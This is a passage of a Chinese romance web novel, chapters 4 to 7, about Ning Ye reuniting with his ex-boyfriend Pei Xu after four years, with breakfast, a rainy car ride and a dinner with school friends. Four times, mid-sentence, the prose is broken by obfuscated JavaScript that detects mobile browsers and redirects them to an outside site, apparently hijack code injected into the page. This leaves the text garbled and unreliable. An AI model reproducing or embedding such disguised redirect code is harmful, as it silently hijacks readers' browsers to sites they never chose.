他应该很早就吃完了早餐,笔记本电脑旁边摆放着空了的瓷碗。 宁也不知道裴序为什么吃完早餐了还坐在这里,房子那么大,只有餐桌这里可以办公? “还要看我多久?看我能看饱?” 裴序的声音突然响起,宁也这才晃神,发觉自己刚才一直在看他。 他顿时觉得尴尬,喉咙发紧。 裴序瞧着宁也,眼皮微掀,瞳孔很黑,透不出情绪。 见宁也一直没动那碗粥,他再次开口:“怎么,因为是我煮的,所以不想吃?” 目光对视一瞬,宁也垂目,承认道:“对。怕你下毒。” 裴序似是笑了一声,很轻。 “没必要,”他拉开椅子站起来,“毒死你对我没什么好处。 宁也:“……” 裴序收起自己用过的餐具走向厨房,同时间,宁也感觉到大腿处传来手机的震动。 宁也从裤子口袋里拿出手机,看到来电人后,不自觉回头瞧了一眼还在厨房的裴序,随后他握着手机起身,离开餐厅。 裴序察觉到宁也的离去,转过身,望着宁也离去的背影,眼眸深了几度。 - 宁也回到二楼,一边接起电话一边往房间的方向走。 “蒋哥。” “噢,宁也啊,是这样的,你这次的拍摄取消了。” 突然被告知工作取消,宁也有些意外,脑子懵了一下:“取消了?为什么?” “因为台风呗,这样的天气还怎么出外景,人家干脆不来南市了,换了地方。” “他们换了哪里?” “这个你不用管了,我已经安排别人过去。” “可是这个拍摄原本定的是我——” “这有什么关系,这种平面广告换谁都一样。” 对面的蒋哥对这种临时换人的事毫不在意,他算是宁也的经纪人,同时也是很多人的经纪人。 宁也高三毕业后的暑假,回到逾市,签了这家经纪公司 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15013955|162077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 当时为了更多的收入分成,宁也签了五年的长约,这就像是一个卖身契,将他牢牢捆在了合同上。 合同规定,除了公司的安排,宁也不能在任何网络媒体上露脸,不能在网络平台经营自己的账号,更是不能接其他的工作。 然而公司人多羹少,加上这几年市场不好,宁也经常几个月甚至半年都没有安排到一个工作。就算有工作轮到他,公司抽成抽走大部分,到他手上就没剩多少。 宁也这样的情况不是个例,很多人跟他一样,只是他们后面都想办法跟公司解了约,去寻求新的发展。 宁也没办法解约,他交不起合同里规定的那笔巨额的违约金。 在公司没有安排工作的时间里,宁也做着各类兼职维持基本的生活。他本来不愿意再回来南市,可是他不想放弃这次难得的工作机会,谁知道碰上台风—— “宁也,你就当去南市旅游了,以后有其他拍摄我再给你安排。” 蒋哥永远都把话说得很轻松,刚开始宁也还会信他,现在不会了。 几年下来,再信就是傻子。 宁也不想跟蒋哥浪费时间,收敛情绪,语气强硬几分:“你可以临时换人,没关系,但是这次南市来回的机票和住宿,你们需要报销。” “你这趟拍摄都取消了,公司怎么给你报销,下次,下次一定给你报销——” “我会把票据留着。回去之后,我再找你。” “哎——我说——” 电话那头的蒋哥似乎还要再说什么,宁也没有再听,直接挂断了电话。 没有了蒋哥的声音,整个世界好像一下子变得安静,宁也的心却静不下来。 签了合同的这几年里,这样的情况并不是第一次发生。 宁也心里明白,按自己目前的情况,他没办法跟公司硬刚,只能忍。 一年,再忍一年就好。 只要一年,合约就会到期。 宁也缓缓吐出一口气,抬头时候才发觉,自己接电话的时候不知不觉走回了裴序的房间。 他忽然庆幸刚才选择了上楼接电话。 要是被裴序听到他电话的内容,那么他得多难堪。 宁也甚至都可以想象到,如果裴序知道他这几年过得这样糟糕,一定会狠狠嘲笑他。 他能想象得到裴序的表情,能想象得到裴序冷笑着问:“这就是你宁愿分手都要做的选择?” 是啊,这就是他当年不惜分手都要做的选择。 离开南市,回到逾市上大学,签约逾市的经纪公司,这些都是他没有经过两人商量就私自决定的事。 年少的时候,自尊和骄傲那样重要。 分手,撂下狠话离开,换来的是彼此之间四年的空白。 如今四年过去,在面对裴序时,宁也那摇摇欲坠的自尊心仍在倔强挣扎。 身后好像有动静,宁也恍然回神,侧身看过去,只看到自己刚才忘记关上的房门。 门外什么都没有。 宁也想,刚才的动静,应该只是一道无意的穿堂风。 5. chapter 05 05 宁也重新回到一楼餐厅,圆桌上的笔记本电脑已经被收走,也没再见裴序的身影。 宁也不着痕迹地环顾一圈,之后坐下来,继续吃早餐。 红枣糯米熬的小米粥还是温热的,入口软糯,甜香溢满他的口腔。 裴奶奶不知道裴序会做饭,但是宁也知道。 高三那年的冬天,宁也得了一场重感冒,高烧不退。 他第一次在南方过冬,只以为南方温暖,却不知道南方的冬天,寒风也会入骨。 他在半夜烧得迷迷糊糊,对很多事情都记得不真切,只恍惚记得一直有人陪在他身边,不断地给他量体温,不断地拿酒精擦拭他的身体。 那几天裴奶奶刚好不在家,王阿姨只在傍晚时分过来给裴序和宁也煮一餐饭,见不到人。 家里除了宁也,就只剩下裴序。 凌晨的时候,宁也终于退烧,醒来第一眼,看到的是趴在自己床边睡着了的裴序。 他还穿着昨天的校服,好像从学校回来之后就一直待在这儿。 一场高烧,让宁也的脑子发懵,思想滞顿着,做不出多少思考,指尖不由自主地朝裴序的侧脸移动。 即将碰触的瞬间,他忽然意识到什么,悄悄收回自己的手,小心藏起这个年纪最晦涩的秘密。 宁也没有叫醒裴序,安静看了裴序好一会儿。 裴序感觉到什么,醒了过来。 他见宁也已经醒了,先伸手在宁也的额头探了探体温,感觉烧退了,才松口气一般,紧绷的脸色有所缓和。 接着他起身离开房间,很快,他端着一杯温水和一碗冒着热气的小米粥回来。 宁也永远记得那个冬日清晨第一口温水入口时的温度,记得裴序喂他吃粥的模样,平日略带锐度的眉眼低垂,整个人沉默无声,喂他的动作却细致小心。 直至今日,宁也都记得,所有的细枝末节,他都没舍得忘记。 可是现在,经过了四年,一切早已物是人非。 “阿也,你一会儿是要和阿序一起回市区的吧?” 在宁也出神的时候,裴奶奶经过他身后,一边走向厨房一边问。 宁也从过去的回忆里抽离,反应了一下,回道:“我不急着走。” 裴奶奶笑了,打趣道:“昨晚不还说自己忙工作得马上回去么,现在又不急着走啦?是舍不得我这个老人家了?” 昨晚宁也不想留宿,倒也不是因为工作。 真实原因说不出口,宁也就顺着裴奶奶的话说:“嗯,舍不得您。” “舍不得就经常回来看我,瞧你这一走就是四年,四年才回来看我一次。” 裴奶奶在厨房泡茶,热水冲下去的瞬间,红茶的香气从茶壶的沿口溢出来。她一边盖上茶壶盖子,一边说:“不过啊,我也理解你们年轻人,读书的时候忙着读书,工作了又忙着工作,瞧见你和阿序现在都长大了,都有自己的工作要忙,我心里还是开心的。阿序待会儿要回去,你坐他的车我也放心。” 听着裴奶奶的话,宁也心情复杂,他不想让奶奶察觉到他现在不尽人意的生活,就算不想和裴序一起回去,他也得硬着头皮和裴序一起走,当作自己确实要忙工作,得离开。 “嗯,奶奶你放心,我很快会再来看您。” “乖孩子,”裴奶奶端着茶壶走出厨房,笑着对宁也说,“走,陪奶奶喝会儿茶看会儿戏,阿序在书房忙着,等他忙完了你们再一块走。” 宁也拉开椅子站起来,主动接过裴奶奶手中的茶壶,应着:“好。” - 台风已经过境,雨虽没停,但风力明显弱了许多,与平时的雨天无异。 宁也和裴奶奶告别,撑起自己来时带的雨伞,沿着折枝和树叶落满的院落小道离开裴家老宅。 裴序的车就停在外面过道上,一夜的雨,车身落满了不少叶片。 黑色车型线条流利,亮起的红色车尾灯被细碎雨幕模糊着,微微发着朦胧散光。 刚才宁也和裴奶奶告别的时候,裴序已经先出门,看样子,他现在正坐在车里等宁也。 宁也的脚步稍微踌躇,最后还是握紧伞柄,走向裴序的车。 他先是停在车后门,伸手打开车门,发觉后座的真皮座椅上面正摆着几个纸箱子,后座被堆得很满,没有他坐的位置。 宁也滞了几秒,随后听到驾驶座那边裴序略显不耐的声音。 “东西放后面,人坐前面。” 宁也重新看了一眼堆满纸箱的后座,又看了一下自己手中拎着的纸袋,估计裴序说的“东西放后面”指的是他的这个纸袋子。 他过来看望裴奶奶的时候没带什么东西,袋子里放着的是他昨天换洗下来的衣物。 宁也没什么别的选择,后座坐不了,他只能坐前面,于是就将纸袋放到纸盒上方,然后关上车门,走去打开副驾的门。 宁也将收拢的雨伞放到座椅脚下,主动拉过安全带给自己扣上。 坐到副驾,两人之间的距离陡然拉近,宁也感觉到裴序自然垂放在手控台的手臂,离自己只有小小的几厘米。 裴序的车里很干净,没有多余的内饰,也没有香薰,这导致宁也在呼吸之间,感觉到鼻尖好似都是属于裴序的气息。 他尽量控制目光和呼吸,不去关注余光里的裴序,目视前方。 裴序左手握着方向盘,侧眸瞧着宁也,见他已经坐好,便启动车子。 裴家老宅处于南市的旧城区,二三十年前,这边也是南市的市中心。后来新区建立,城市中心才逐渐转移到那边。 虽然分为新城区和旧城区,实际两块区域只隔了一条马路。 台风过后,道路积水还没完全消退,平时只需二十分钟左右的车程,裴序开了半个多小时。 这短暂的半个多小时,车内的两个人一直没有说话,没有交谈。 车内安静,连音乐都没有。 除了砸在车身的雨声,便是两人的呼吸声。 宁也第一次感受到什么是度秒如年,在裴序身旁的每一秒,他都觉得格外煎熬。 终于,在车辆开到南市地标建筑所在的市区中心时,裴序开口:“住哪里?” 宁也动了动眼睫,望向车窗外,确认现在的位置后,说道:“你把我放在前面的公交站,我自己回去。” 裴序瞥了一眼前方不远处的公交站,并没任何减速的意思,冷着声道:“这种天气,没有公交,你也打不到车。” 宁也:“……” 裴序:“地址。” 裴序冷声的时候,总会给人一种压迫感,宁也微微抿唇,神情犹豫,对自己住的地方难以开口。 前方红灯,裴序踩下刹车,停下等红灯。 他握方向盘的手,手指轻轻敲击着方向盘,看着好似很有耐心一般,等着宁也的回答。 宁也思考一番,低声说了自己的住址。 “车站路,民丰宾馆。” 裴序听到这几个字,眉头微微一紧。 他知道那是什么地方。 车站路,在南市汽车站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15013956|162077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后面,一整条街都是小宾馆,便宜廉价,环境很差,鱼龙混杂。 宁也在说完地址之后,就一直侧着脑袋看着车窗外面,隐隐的难堪让他不愿再和裴序做正面的交流。 十来分钟后,裴序将车停在了车站路。 民丰宾馆就在路口,一眼就能看到缺了几个笔顺的招牌大字。 宾馆外面这条街原来有很多小吃摊,因为台风天的关系,只剩下了搬不走的摊子和水泥地面上长年累积下来的油印。 下水道的味道不知从哪里反上来,混在雨水里,让人闻到就不禁皱起眉头。 裴序就这样坐在车里,看着前方这条脏乱的街道,雨丝从半开的车窗飘进来,不断沾湿他微绷的脸。 宁也解开安全带,伸手从座椅下面拿起自己的雨伞。 他动了动唇,寻找着告别的措辞。 “——谢谢。” 宁也发觉自己说不出其他的话,也没什么立场去说其他的话,只能道一声“谢谢”。 说完之后他预备打开副驾的车门,手腕倏地被裴序抓住。 裴序修长分明的手指圈住宁也的腕骨,他没有用太大的力气,但两人的皮肤因此紧密相触。 宁也感觉到自己的心脏猛地跳了一下,手腕的肌肤也从接触的地方开始逐渐发烫。 他顿滞着,没有动,裴序也没动,只用漆黑的双眸注视着他。 两人之间眸光的对视,让宁也不明缘由地忐忑、害怕,他很快避开裴序的眸光,很怕被他看穿糟糕窘迫的自己。 裴序不知在想什么,在这时候松开宁也,打开手控台的置物柜,从里面拿出一个长方形的红包。 他递给宁也,说:“奶奶让我交给你的。” 宁也微愣,而后摇头:“不用,我不能收。” “她知道她给你,你肯定会拒绝,才叫我拿给你。收着吧,老人家的心意。” 宁也还是摇头,只是话还没说出口,就被裴序截断:“她给你,你就拿着。实在不想收,下次你自己还给她,别让我做中间人。” 宁也听出裴序话里的不高兴,心想他应该是厌烦替人传递东西这种事,考虑过后,他伸出手,接过红包。 “知道了,我自己还她,不麻烦你。” 宁也说完,转身打开副驾的车门。 细密的雨水瞬间随风涌进来,宁也往外打开雨伞的时候,再次听到裴序的声音。 “这几年,奶奶很想你。” 宁也手中的动作不由得停住,肩背僵硬。 他确认他听到裴序说的是,奶奶很想他。 也不知怎得,宁也心内一阵翻涌,很是酸涩。 他没有回应,撑起雨伞就下了车,带着裴奶奶让裴序转交的红包,钻进雨幕之中。 裴序目光沉沉,望着宁也逐渐模糊远去的背影,想着,他怎么瘦了这么多,学生时期的衣服,现在都还能穿得下。 看到宁也走进宾馆,裴序才收回视线,颓然般往后靠,微微闭眼。 他怨恨了宁也四年,以为自己早已经冷漠心肠,百毒不侵。 但是昨晚,从奶奶电话里听闻宁也回来的那一刻,所有的怨与恨,都抵不过从心底拼命涌上来的想念—— 这几年,想念宁也的人,并不是只有裴奶奶。 裴序稍稍整理心绪,掀起眼皮,通过后视镜看着后座被遗落的那个纸袋子。 几个空的纸箱占据了后座的空间,纸袋就放在纸箱的上面。 他没有选择下车送还,而是转动方向盘,驱车离去。 6. chapter 06 06 简单配置的小房间,除了一张单人床,就剩一张靠墙的长桌,上方是挂墙的电视机,黑色插头从后方垂落下来。 宁也走进来,关上门,没开灯。 整个人如被抽离思绪一般,在床边呆滞的坐了好久。 昨天离开的时候,他没有拉上窗帘,封闭的四方窗户在此刻给了房间一点昏沉的光感。 他就呆呆望着这扇窗户,呆呆望着窗户外面看不清的朦胧雨幕。 时间不知过去多久,宁也才垂眸叹气,从口袋里拿出手机,打开订票软件。 宁也原本的工作计划是在南市停留一周,现在工作取消,他也不用再留下来。 只是因为台风,南市的高铁飞机都受到了一些影响,今天和明天的航班都取消了,恢复时间待定。 宁也订不到回去的票,有一种自己被滞留在这个城市的无力感。 他真的,真的很不想待在这里,不想呼吸这里的空气。 每一次的呼吸,都让他感觉到难过。 宁也又不知不觉出神,握在手中的手机也不知不觉熄了屏,等再次亮起的时候,是收到一条新的微信消息。 宁也下意识垂下目光,去看手机屏幕,有那么一瞬间,他恍惚的感觉自己好像又陷入了梦境里。 发消息的人是整整四年都没有联系的裴序。 这四年,宁也没有换过号码,没有换过微信,就算学校发的校园卡套餐很便宜,他也没有舍得换过这个号码。 他一直保留着裴序的联系方式,号码没删,微信也没删。 这是四年前的手机,他们之间的聊天记录也一直停留在四年前。 最后一条消息是裴序发的,让宁也过来阳台看星星。 宁也记得,那天夜里的繁星很亮很闪烁,裴序亲吻他的时候,唇瓣是微凉的,鼻息是滚烫的。 裴序教他张嘴,教他呼吸,唇与舌的追缠,是生涩却惹人心动的。 那是属于他们的最后一个晚上。 第二天,宁也和裴序同时收到大学的录取通知书,裴序也是这时候才知道宁也偷偷改了志愿。 他们原本说好一起留在南市读大学,但是宁也瞒着所有人,改填了逾市的大学。 裴序很生气,两个人吵了一架,整整两天没说话。 两天后,宁也和裴序提了分手,收拾行李,离开南市。 他们就这样断了联系,彼此之间的消息都是经过他人透露。 宁也离开南市后,有跟裴奶奶打电话报平安,逢年过节也会给裴奶奶打去电话,他能从裴奶奶那儿知道裴序的近况,比如裴序按原计划读了南大的金融学,大三的时候出国留学,大四回国之后开始准备接手家里的公司…… 跟裴序这样无风无浪、安稳顺遂的人生轨迹相比,宁也的生活,可以说是一团糟。 经过四年的断联,此时此刻,裴序发来新消息: 【你的东西】 【照片】 宁也反反复复看着裴序发来的这四个字,再点开他发来的照片,看着照片里被遗落的纸袋,宁也才想起自己下车时忘记了把纸袋带走。 宁也的手指握着手机,指尖在屏幕的虚拟键盘上犹豫许久,打不出一个字。 他不知道要怎么回,是让裴序送回来给自己,还是说自己不要了? 就在宁也犹豫的时候,裴序又发来一条消息:【我没时间再送过去,明天下午五点,自己过来拿。】 然后又发来一个地址。 这个地址看着是住宅区,宁也考虑了很久,最后回了一个字:【好】 裴序没有再发消息,宁也放下手机,说不上心底渗透而来的酸涩和失落是为什么。 他望着自己身上四年前的衣服,再望向窗户外面灰沉冷色的雨,恍恍惚惚的,感觉自己是这个世界上唯一还停留在四年前的人。 最起码,他的心还停留在四年前,一直没变。 - 台风带来的降雨在隔日的上午时分结束,整个城市开始从湿漉漉的雨水中恢复过来。 身穿橙色背心的环卫工人在各个小道上收拾台风过后的树枝、落叶和垃圾,柏油马路上的车辆明显增多,道路两侧的梧桐树枝桠繁茂,树叶被雨水过滤之后绿得发亮。 高铁和飞机也已经恢复,南市到逾市没有直达的高铁,只有飞机。 宁也买了最早的一班飞机,明天凌晨四点。 他没有再多续一晚的宾馆,下午的时候,他收拾好自己的东西寄存在宾馆前台,准备从裴序那儿拿回衣服之后,就出发去机场。 出租车将宁也送到裴序发来的地址。 是一个新开的楼盘,位于市中心的繁华地段,属高档住宅区,门禁很严,访客必须登记。 宁也不想进去,在保安处给裴序发了一条信息,告诉他自己在这边等他。 信息刚发出去,保安大叔就接到了座机电话,他一边接,一边瞄宁也,说了几句“好”、“好”之后,挂断电话。 “你是12栋裴先生的朋友吧?他让你进去找他,不用在这里等。” 没等宁也说什么,保安大叔就把访客登记本递过来,顺便还递了只笔:“你在这里签个名字和时间,联系电话也写一下。” “不了,我不进去,我就在这里等——” “裴先生说他这会儿正忙,过不来,12栋很近的,就前面直走。” “……” “你不用怕找不到,裴先生交代了让我带你过去。” “……” 宁也估计裴序已经跟保安大叔说好了,他没办法,只好接过访客登记本,在上面签下了自己的信息。 保安大叔很热情,带着宁也走到12栋,给他打开楼下的门禁,又给他按了电梯。 宁也独自走进电梯,随着电梯缓缓上升,他的心情愈加复杂忐忑。 电梯到达23层,电梯门打开。 宁也在里面多停了两秒,深呼吸过后,走出电梯。 一梯一户,这一层只有一扇门。 宁也走过去,按响门铃。 很快,门从里面打开。 出现在宁也面前的裴序,挡住了室内明亮的光,像是一道无法逃脱的黑影,将宁也笼罩在暗色中。 宁也与裴序漆黑的眸光对视一瞬,而后动动喉结,先开口:“我来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15013957|162077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿我的东西。” 裴序个子比宁也高一点,看着宁也时眼皮微垂,有种居高临下的意味。 他往后退了半步,说:“在里面,自己进来拿。” 宁也站着没动,语气生硬又客套:“不打扰你,麻烦你给我拿一下,谢谢。” 听到最后的“谢谢”两个字,裴序不着痕迹地挑眉,他不准备让着宁也,直接转身往里走。 “就放在客厅茶几上。” 他随手指了个方位,意思很明显,宁也想要拿回自己的东西,就必须自己进来。 宁也没有其他选择,忍了忍,绷着脸走进去,径直走到客厅,拿起自己的纸袋转身就要走。 “既然来了,就留下吃顿晚饭。” 裴序的声音从餐桌那边传来,宁也的脚步稍作停顿。 他侧身看过去,才发觉暗色纹理的大理石长桌上,摆着琳琅满目的食材,数量丰富,看着像是有一场朋友聚会。 宁也没有留下吃饭的理由,也没有参与进裴序交际圈的身份,他想也没想就拒绝:“不用客气,我先走了。” “你不想见一见林乔和陈清卓吗?”裴序似是笃定了宁也会留下来,不紧不慢地说,“他们晚上过来吃饭。” 林乔,陈清卓。 宁也已经很久没见过他们。 高三的时候,他们四个人是前后桌,关系很好。 离开南市之后,宁也虽然与他们还有联系,但一直没有再见过面。 其实这次回来,宁也有想过工作结束之后联系他们,没想到工作被取消了,他又碰上裴序,就导致他想快点离开南市—— “不了,我要赶飞机。” 宁也还是选择了拒绝。 裴序顿了一秒,眉梢微扬,问:“飞机几点?” 宁也回答:“明早四点。” 裴序抬起手腕瞧了一眼戴着的手表:“现在五点十分,距离明天早上四点还有十几个小时。” 他说完,双手环胸向后靠,颀长身形半倚着橱柜一侧,好整以暇地瞧着宁也:“这十几个小时,不够你吃一顿饭?” 宁也的手指悄悄捏紧纸袋,一时没说话。 而裴序,在这时候挑眉问道:“还是,你在害怕什么?” 被猝然戳破心内秘密的宁也瞬间慌了几秒,他努力镇定后,直直对向裴序的眸光:“我害怕什么?” “我怎么知道你害怕什么。”裴序轻轻笑了一声,“我们昨晚连一张床都睡过了,我想你应该不会介意这一顿饭。” 宁也:“……” 裴序额前的发微遮住眉,眸底落下小片阴影,沉沉的视线落在宁也脸上,唇边的轻笑没有到达眼眸。 “而且,一顿饭,也不至于让你误了明天的飞机。”他说,“当然,你要是不敢面对我这个前任,我肯定不会强迫你留下来。” “谁说我不敢面对你?” 宁也刚反问完这句话,就别过脸,闭眼暗自懊恼。 真是没用。 他永远逃不过裴序的激将法,不管是四年前,还是四年后。 得到宁也这句话,裴序似乎是满意了,瞧着宁也的侧影,唇角微翘。 7. chapter 07 07 宁也没想到林乔和陈清卓会来得那么晚。 他独自坐在裴序的客厅里等待,如坐针毡,怎么都感觉不舒服。 裴序甚至很好心地给他倒了一杯水,放置在茶几上,让他随意。 但是,谁能在前任的家里随意? 宁也反正做不到,他没碰那杯水,一直挺直背脊干坐着。 现在天色渐暗,客厅一侧偌大的落地窗外景色朦胧,隐约可见不远处新规划出来的湿地公园,一片静谧的湖泊和绿地。 沿着小道悉数亮起的路灯,犹如点点星光在暮色中闪烁。 这样的大平层,这样的地段,宁也会有一点儿欣慰。 挺好的,这说明裴序这几年过得真的很不错。 “可以过来帮一下忙吗?” 宁也听到裴序的声音,翻飞的思绪回拢,转头,看到裴序站在开放式厨房的流理台后,右手端着一个较大的透明玻璃碗,朝他示意。 房子的主人在准备晚餐,需要帮忙,拒绝似乎不大合适。 宁也想着自己反正坐着难受,有点事做也好。 他从沙发起身,走向裴序。 今晚的菜品很丰富,裴序做事干净利落,刚才一小会儿的功夫,菜差不多都齐了,也都摆上了桌,现在只差一道南市特色的酥排骨。 裴序将玻璃碗递给宁也,里面是腌制好的肋排。 然后他将面粉和水倒进玻璃碗里,说:“把它们和匀。” 这并不是什么难事,以前王阿姨经常做这道菜,宁也有看到过王阿姨是怎么做的。 他只是有一点意外,没想到裴序会做这个。 这是他很喜欢吃的一道菜。 宁也先去洗了手,随后按裴序的吩咐,将玻璃碗里的面粉和水,连着肋排一起和匀。 不知道是面粉多了,还是水少了,玻璃碗里的东西干巴巴的,和不动,宁也的手指也都沾上了小块状的面粉团。 正是这时候,宁也突然感到自己的后颈皮肤袭上一道温热的鼻息,他双肩瞬时僵硬,而后腰间一紧—— 裴序从他身后给他系了一条围裙。 裴序低着头,在宁也的腰后给围裙系上结,不知是刻意还是无意,手指用力几分,系了一个略紧的结。 然后他偏头,视线从宁也的左肩绕到玻璃碗里,鼻息也从宁也的脖颈皮肤移到脸侧。 “水少了。” 裴序还是原先的姿势,站在宁也身后。 他说完,顺手端起旁边装着清水的小碗,往玻璃碗里倒了一点水,然后伸手抓住宁也放在玻璃碗里的手。 咫尺距离,宁也感觉裴序胸膛似乎往前移了半寸,与他的背脊似贴非贴的。 他就像是被裴序圈在怀里,属于裴序的气息包裹着他,他能感受到裴序每一寸的呼吸。 裴序就这样抓着宁也的手,两人的手指一起在面粉糊里转动,指间皮肤混着面粉和水,紧密相贴,缠绵流动。 宁也的一颗心猛烈跳动,整个人紧张僵硬,一时来不及反应。 当他终于意识到自己和裴序过于贴近的身体和过于暧昧的手指时,裴序先停下动作,放开他的手,往后退了几步。 “现在应该可以了。” 裴序一边说一边走到一侧,打开水龙头洗手。 听着哗哗的水声,宁也的眼神晃了晃。 他克制着不合时宜乱跳的心脏,低头应了一声,然后继续给每块肋排沾上面糊。 双眸低垂,眼底情绪复杂。 “左耳上的是耳洞么。” 闻言,宁也再次停滞住身体,脖颈发僵。 裴序的声音混在水流声里,应该是不清晰的,但他却听了个真真切切。 他不知道裴序是什么时候看到他左耳的耳洞的,是刚才系围裙的时候吗? 裴序侧眸瞧了一眼僵直的宁也,随后手背轻轻一抬,关了水槽的水龙头。 水声停止,他的声音便凸显出来,冷冷的:“当初不是怕痛,死活不愿意。” 宁也眼睫微颤,裴序说的“当初”浮现在他脑海,仿若昨日。 那是高三那年的寒假旅行,在景区的饰品店,两个人说好一人打一个耳洞,裴序选了右边,宁也是左边。 宁也怕疼,亲眼看到裴序右边耳垂的血迹,半途反悔跑出饰品店。 裴序追上他,圈住他脖子将他压在自己怀里。 那天的夕阳昏黄又柔和,两个打闹的少年,影子被拉得很长。 裴序说宁也是骗子。 宁也否认。 裴序又说,他被挨了一下的痛,以后一定会还给宁也。 宁也拍着裴序圈着自己脖颈的手臂,让他快点松开自己,顺口应着:“好好好,以后还我,你快放开我,我不能呼吸了。” 那个时候的裴序,远没有现在这般冷漠生疏,那个时候的他们,比好友更亲近一点,又比普通朋友敏感一些。 某些时刻不经意的言语和接触,常常会惹得心跳越界。 后来宁也回到逾市,途径一家饰品店,不受控地走进去。 这次他没有退缩。 穿耳器穿透耳垂带来的痛感直连心脏,一颤一颤的,痛到他忍不住闭上双眼,湿润眼睫。 他想,他还给裴序了,他不是骗子。 过去的事情在脑海重现了一遍,宁也稳住已经开始混乱的心绪,故作平淡地回应:“工作需要。” 得到答案的裴序凝眸瞧着宁也,线条薄长的眼皮半遮着漆黑的眼眸,同时也遮去了许多意味不明的情绪。 这时候,门铃响起。 林乔和陈清卓终于来了。 宁也留在厨房,裴序过去开门。 很快,宁也就听到林乔的声音:“我可不是故意来这么晚的,都是陈清卓,让他从家里带红酒,结果他忘了,我们半途又回去了一趟——” “啊——宁也!!” 开放式的厨房,林乔和陈清卓一走过玄关,就能看到这边的宁也。 几年没见,两个人没太多变化,林乔还是喜欢留长发。 女孩子总是爱美,高三的时候林乔就偷偷去烫了发尾,结果被教导主任抓住,剪刀一咔嚓,直接给她剪了。 当时林乔哭了好几堂课,宁也作为她的同桌,不知道怎么安慰,只好跟后座的陈清卓换座位。 不过陈清卓这个男朋友似乎也不起作用,林乔照样伤心。 那时,林乔伤心了好几天,宁也也跟陈清卓换了好些天的座位,跟裴序短暂当了几天的同桌。 “我靠,还真是你啊!”陈清卓抱着红酒跟在林乔身后,见到宁也就忍不住说,“你小子过分了啊,回来只联系裴序,裴序不提,我们都不知道你回来了。” “宁也回来为什么要联系你,要联系也该是联系我,我才是他同桌。” 林乔说完陈清卓,立刻转头冲宁也笑:“对吧,亲爱的同桌?” 看到林乔和陈清卓熟悉的笑脸,宁也不由得眼尾上扬,露出一个笑。 这是记忆里久违的热闹了,没什么变化的林乔和陈清卓,还是会吵吵闹闹。 换了一个空间,他们还是当初的四个人,只是有的人关系没变,有的人变了。 林乔让陈清卓把红酒开了醒酒,她过来厨房帮忙。 宁也将肋排混好面糊,裴序热了油锅,很快,最后一道菜出锅。 这次难得的见面,在餐桌上才正式开始叙旧。 陈清卓给宁也倒了半杯红酒,说:“原本我和林乔打算年底去逾市玩,顺便看看你,没想到今天就见到了。怎么样,这趟回来准备待多久?” “马上要走了,明天的飞机。”宁也接过陈清卓递来的红酒杯,略抱歉地说:“要赶飞机,不能喝酒。” 陈清卓旁边的林乔有些惊讶:“啊?明天就走了,这么快?” 宁也:“嗯……比较突然。” 林乔悄悄瞄了一眼对面的裴序,再重新看向裴序身旁坐着的宁也,笑着说:“没事没事,我们年底去逾市玩,照样见得到。” “确实,还有明年呢,”陈清卓附和道,“明年我们结婚,你可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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宁也的目光落到陈清卓一开始递给他的红酒上,他面上不露声色,心内却压抑,手指不由自主地朝酒杯移动。 在即将碰上的时候,身旁的人伸手,握住他的指尖。 从晚餐开始,裴序就没怎么说话,就是这个几乎算得上一直沉默的人,突然在两个好友的面前,握住了宁也的手。 他问:“不是说要赶飞机,不喝酒?” 宁也看向裴序,一秒的愣滞,而后不大自然地从裴序手中抽回自己的手。 他下意识瞧向对面,林乔和陈清卓不知在聊什么,没注意到他这边。 幸好。 宁也松一口气。 他和裴序的恋爱,是秘密,还没来得及告诉身边的朋友,就在那个夏天戛然而止。 当时没来得及说,现在,应该没有表露的必要。 否则他们问起分手的细节,他不知该怎样说。 宁也没有回应裴序,也没说话,只是端起桌上的饮料小口喝着。 “哎,宁也,你大学期间谈恋爱了吗?”林乔突然把话题扯到宁也身上,“你是不是跟裴序一样,一直单身啊?” 宁也倏地顿住,除了对面两双眼睛,他感觉身旁的这个人也在看着自己。 宁也握着装着饮料的玻璃杯,嘴唇微动,犹豫过后,点了点头。 得到答案,林乔眼底马上露出笑意,眼睛又往裴序那边瞟了一下。 裴序没什么明显的反应,仍是冷冷淡淡的模样。 倒是陈清卓不可置信地喊出声:“什么?你也没谈恋爱?” 